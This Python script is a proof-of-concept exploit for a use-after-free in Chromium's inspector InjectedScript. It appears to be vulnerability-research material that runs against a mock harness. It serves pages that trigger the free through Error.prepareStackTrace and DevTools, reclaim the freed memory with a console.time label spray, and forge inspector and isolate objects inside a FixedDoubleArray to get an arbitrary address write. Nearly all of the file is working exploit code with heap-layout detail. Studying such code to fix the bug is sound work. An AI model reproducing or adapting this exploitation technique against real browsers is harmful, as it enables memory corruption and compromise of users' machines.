#!/usr/bin/env python3

# issue 503553614 | Chromium InjectedScript UAF | AAW via FixedDoubleArray (approach B)
#
# Primitives: gm.addrof, gm.read_memory (mock harness, gm_object.cc).
#
# All fake objects live inside a 72-element FixedDoubleArray.
# fdaBase = FixedDoubleArray_base + 8 = address of element[0].
#
# Element layout (all fields live in the 72-element FixedDoubleArray):
#   element[ 1]      write value (*location_ -> value written by HandleScope::CreateHandle)
#   element[ 4]      fake InspectedContext.m_inspector  (V8InspectorImpl*)
#   element[ 5]      fake InspectedContext.m_context.location_  (-> &element[1])
#   element[ 6]      fake V8InspectorImpl vtable  (not read)
#   element[ 7]      fake V8InspectorImpl.m_isolate  (-> fdaBase = fake Isolate base)
#   element[70]      fake Isolate HandleScopeData.next   (= write address; fdaBase + 0x230)
#   element[71]      fake Isolate HandleScopeData.limit  (= write address + 0x100)

import argparse
import http.server
import os
import shlex
import shutil
import subprocess
import sys
import tempfile
import threading

IFRAME = b"""\
<!DOCTYPE html><html><body><script>
Error.prepareStackTrace = function() {
  const reclaim = parent.reclaim;
  try { self.frameElement.remove(); } catch(e) {}
  if (typeof reclaim === 'function') reclaim();
  return '';
};
const err = new Error('uaf');
debugger;
parent.postMessage('retry', '*');
</script></body></html>
"""

MAIN = b"""\
<!DOCTYPE html><html><body>
<pre id="log" style="font:12px monospace;padding:8px"></pre>
<script>
'use strict';

function print(s) { document.getElementById('log').textContent += s + '\\n'; }

// ---- Helper functions ----

function readU32LE(addr, offset) {
  const a = Number(addr) + offset;
  const bytes = gm.read_memory(a, 4);
  if (!bytes || bytes.byteLength < 4)
    throw new Error('read_memory failed @ 0x' + a.toString(16));
  return BigInt(new DataView(bytes.buffer, bytes.byteOffset, 4).getUint32(0, true));
}

function i2d(v) {
  const b = new ArrayBuffer(8);
  new BigUint64Array(b)[0] = BigInt(v);
  return new Float64Array(b)[0];
}

function addrToChars(addr) {
  const a = BigInt(addr);
  return String.fromCharCode(
    Number( a         & 0xFFFFn),
    Number((a >> 16n) & 0xFFFFn),
    Number((a >> 32n) & 0xFFFFn),
    Number((a >> 48n) & 0xFFFFn)
  );
}

// ---- Locate FixedDoubleArray via gm primitives ----
//
// JSArray layout (pointer-compressed V8, x64):
//   +0  Map        4B compressed pointer
//   +4  Properties 4B compressed pointer
//   +8  Elements   4B compressed pointer  <- FixedDoubleArray
//   +12 Length     Smi 4B
//
// FixedDoubleArray layout:
//   +0  Map    4B compressed
//   +4  Length Smi 4B
//   +8  element[0]  float64 8B   <- fdaBase = FixedDoubleArray_base + 8
//
// Unset elements are filled with 0x4242424242424242 so they are visually
// distinct from the 0x4141 reclaim spray pattern in crash register dumps.

const FDA_FILLER = i2d(0x4242424242424242n);
const arr = new Array(72).fill(FDA_FILLER);

function deriveFdaBase(a) {
  const jsAddr = BigInt(gm.addrof(a));
  const ec     = readU32LE(jsAddr, 8);
  const cb     = jsAddr & 0xFFFFFFFF00000000n;
  const fdaObj = cb | (ec & ~1n);
  return { jsAddr, ec, cb, fdaObj, fdaBase: fdaObj + 8n };
}

function hexdump8(addr) {
  const b = gm.read_memory(Number(addr), 8);
  if (!b || b.byteLength < 8) return '(read failed)';
  let s = '';
  b.forEach(x => s += x.toString(16).padStart(2, '0') + ' ');
  // interpret as little-endian uint64
  let v = 0n;
  for (let i = 7; i >= 0; i--) v = (v << 8n) | BigInt(b[i]);
  return s + '-> 0x' + v.toString(16);
}

const initial = deriveFdaBase(arr);
print('jsarrayAddr    = 0x' + initial.jsAddr.toString(16));
const rawdump = gm.read_memory(Number(initial.jsAddr), 32);
if (rawdump) {
  let hex = '';
  rawdump.forEach(b => hex += b.toString(16).padStart(2,'0') + ' ');
  print('jsarray dump:  ' + hex);
}
print('elemCompressed = 0x' + initial.ec.toString(16));
print('fdaObj         = 0x' + initial.fdaObj.toString(16));
print('fdaBase        = 0x' + initial.fdaBase.toString(16) + '  (elem[0]; fake object base)');

// ---- Place fake objects inside the FixedDoubleArray ----
//
// Element layout:
//   element[ 1]  write value  (*location_ -> value passed to HandleScope::CreateHandle)
//   element[ 4]  fake InspectedContext.m_inspector        (V8InspectorImpl*)
//   element[ 5]  fake InspectedContext.m_context.location_ (Address* -> &element[1])
//   element[ 6]  fake V8InspectorImpl vtable               (not read: isolate() is non-virtual)
//   element[ 7]  fake V8InspectorImpl.m_isolate            (Isolate* -> fdaBase = fake Isolate base)
//   element[70]  fake Isolate HandleScopeData.next         (= write address; fdaBase + 0x230)
//   element[71]  fake Isolate HandleScopeData.limit        (= write address + 0x100; fdaBase + 0x238)
//
// InspectedContext + 0x00  m_inspector
// InspectedContext + 0x08  m_context.location_  (first field of v8::Global)
//
// V8InspectorImpl::isolate() is inlined as a direct field read at +8.
//
// location_ is null-checked first, then dereferenced to get the context
// handle value.  element[1] is the pointed-to slot; its raw bits become
// the value argument to HandleScope::CreateHandle.
//
// HandleScope::CreateHandle(fake_iso, ctx_value):
//   reads  data->next  from fake_iso + 0x230 = element[70] = write address
//   writes ctx_value   to   *data->next = *write_address
//   increments data->next
//
// data->limit (element[71]) must be strictly greater than data->next so
// HandleScope::Extend is not triggered on the first CreateHandle call.
// Using write_address + 0x100 gives 32 slots of headroom.
//
// Expected crash: access violation writing WRITE_VALUE to WRITE_ADDR.

const WRITE_ADDR  = 0xCAFEn;
const WRITE_VALUE = 0xBABEn;

print('WRITE_ADDR  = 0x' + WRITE_ADDR.toString(16));
print('WRITE_VALUE = 0x' + WRITE_VALUE.toString(16));
print('expected crash: access violation writing 0x' + WRITE_VALUE.toString(16) + ' to 0x' + WRITE_ADDR.toString(16));
print('');
print('pattern key:');
print('  0x41 = reclaimed InjectedScript spray filler');
print('  0x42 = unset FixedDoubleArray element filler');

// ---- Reclaim spray ----
//
// The freed InjectedScript slot is reclaimed by console.time labels whose
// String16 character data fits the same PartitionAlloc bucket (240 bytes).
//
// Label layout (112 chars total = 224 bytes of String16 char data):
//   chars[  0..  3]  little-endian char16_t encoding of fakeInspectedContextAddr
//                    -> lands at freed + 0x000 = InjectedScript.m_context (InspectedContext*)
//   chars[  4..103]  0x4141 filler  (fields not on the critical path for this step)
//   chars[104..111]  decimal index  (8 chars, keeps each label unique for console.time)
//
// All fake-object setup is done here, inside reclaim, so that a GC running
// during the setTimeout(go, 400) window cannot stale fdaBase.
// This is better than pinning since v8's mark-compact can still move an
// old-generation object.

const reclaimFiller = String.fromCharCode(0x4141).repeat(100);

window.reclaim = function() {
  // Re-derive fdaBase from arr's current address -- detects GC movement.
  const cur = deriveFdaBase(arr);
  print('[reclaim] fdaBase initial = 0x' + initial.fdaBase.toString(16));
  print('[reclaim] fdaBase now     = 0x' + cur.fdaBase.toString(16) +
        (cur.fdaBase !== initial.fdaBase ? '  <-- FDA MOVED by GC!' : '  (stable)'));

  const fdaBase       = cur.fdaBase;
  const fakeIC        = fdaBase + 32n;   // element[4]  fake InspectedContext
  const fakeVI        = fdaBase + 48n;   // element[6]  fake V8InspectorImpl

  // Write fake objects using current fdaBase.
  arr[1]  = i2d(WRITE_VALUE);      // *location_ -> value written by HandleScope::CreateHandle
  arr[4]  = i2d(fakeVI);           // fake InspectedContext.m_inspector
  arr[5]  = i2d(fdaBase + 8n);    // fake InspectedContext.m_context.location_ -> &element[1]
  // arr[6] left as FDA_FILLER     // fake V8InspectorImpl vtable (not read)
  arr[7]  = i2d(fdaBase);          // fake V8InspectorImpl.m_isolate -> fdaBase (fake Isolate)
  arr[70] = i2d(WRITE_ADDR);      // fake Isolate HandleScopeData.next  = write address
  arr[71] = i2d(WRITE_ADDR + 0x100n);  // fake Isolate HandleScopeData.limit

  // Dump all critical elements to confirm layout before spray.
  print('[reclaim] fakeInspectedContext @ 0x' + fakeIC.toString(16));
  print('[reclaim]   [+0x00] m_inspector  = ' + hexdump8(fakeIC));
  print('[reclaim]   [+0x08] location_    = ' + hexdump8(fakeIC + 8n));
  print('[reclaim] fakeV8InspectorImpl  @ 0x' + fakeVI.toString(16));
  print('[reclaim]   [+0x00] vtable       = ' + hexdump8(fakeVI));
  print('[reclaim]   [+0x08] m_isolate    = ' + hexdump8(fakeVI + 8n));
  print('[reclaim] fakeIsolate base = fdaBase = 0x' + fdaBase.toString(16));
  print('[reclaim]   [+0x230] data->next  = ' + hexdump8(fdaBase + 0x230n));
  print('[reclaim]   [+0x238] data->limit = ' + hexdump8(fdaBase + 0x238n));
  print('[reclaim]   element[1] (value)   = ' + hexdump8(fdaBase + 8n));
  print('[reclaim] spraying 256 labels with fakeIC = 0x' + fakeIC.toString(16));

  const FILL = addrToChars(fakeIC) + reclaimFiller;  // 104 chars
  for (let i = 0; i < 256; i++)
    console.time(FILL + i.toString().padStart(8, '0'));
};

window.addEventListener('message', e => {
  if (e.data !== 'retry') return;
  const old = document.getElementById('f');
  if (old) old.remove();
  setTimeout(go, 400);
});

function go() {
  const f = document.createElement('iframe');
  f.id = 'f';
  f.src = '/iframe';
  document.body.appendChild(f);
}
go();
</script></body></html>
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        body = {'/': MAIN, '/iframe': IFRAME}.get(self.path)
        if not body:
            self.send_error(404); return
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Cache-Control', 'no-store')
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, *_):
        pass


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--port', type=int, default=8080)
    ap.add_argument('--chrome-path', default=None)
    ap.add_argument('--debugger', default=None,
                    help='debugger prefix, e.g. "windbg -g -G"')
    ap.add_argument('--server-only', action='store_true')
    if len(sys.argv) == 1:
        ap.print_help()
        sys.exit(0)
    args = ap.parse_args()

    srv = http.server.HTTPServer(('127.0.0.1', args.port), Handler)
    url = f'http://127.0.0.1:{args.port}/'
    print(f'[*] {url}')

    if args.server_only:
        print('[*] server-only mode -- open in Chrome with DevTools:')
        print(f'    chrome --auto-open-devtools-for-tabs {url}')
        try:
            srv.serve_forever()
        except KeyboardInterrupt:
            pass
        return

    chrome = args.chrome_path or os.environ.get('CHROME')
    if not chrome:
        sys.exit('set --chrome-path or $CHROME')

    chrome = os.path.abspath(chrome)
    ud = tempfile.mkdtemp(prefix='uaf_aaw_b_')
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    cmd = shlex.split(args.debugger) if args.debugger else []
    cmd += [chrome, f'--user-data-dir={ud}',
            '--auto-open-devtools-for-tabs', '--no-first-run', url]
    proc = subprocess.Popen(cmd)
    try:
        proc.wait()
    except KeyboardInterrupt:
        proc.terminate()
    finally:
        srv.shutdown()
        shutil.rmtree(ud, ignore_errors=True)


if __name__ == '__main__':
    main()
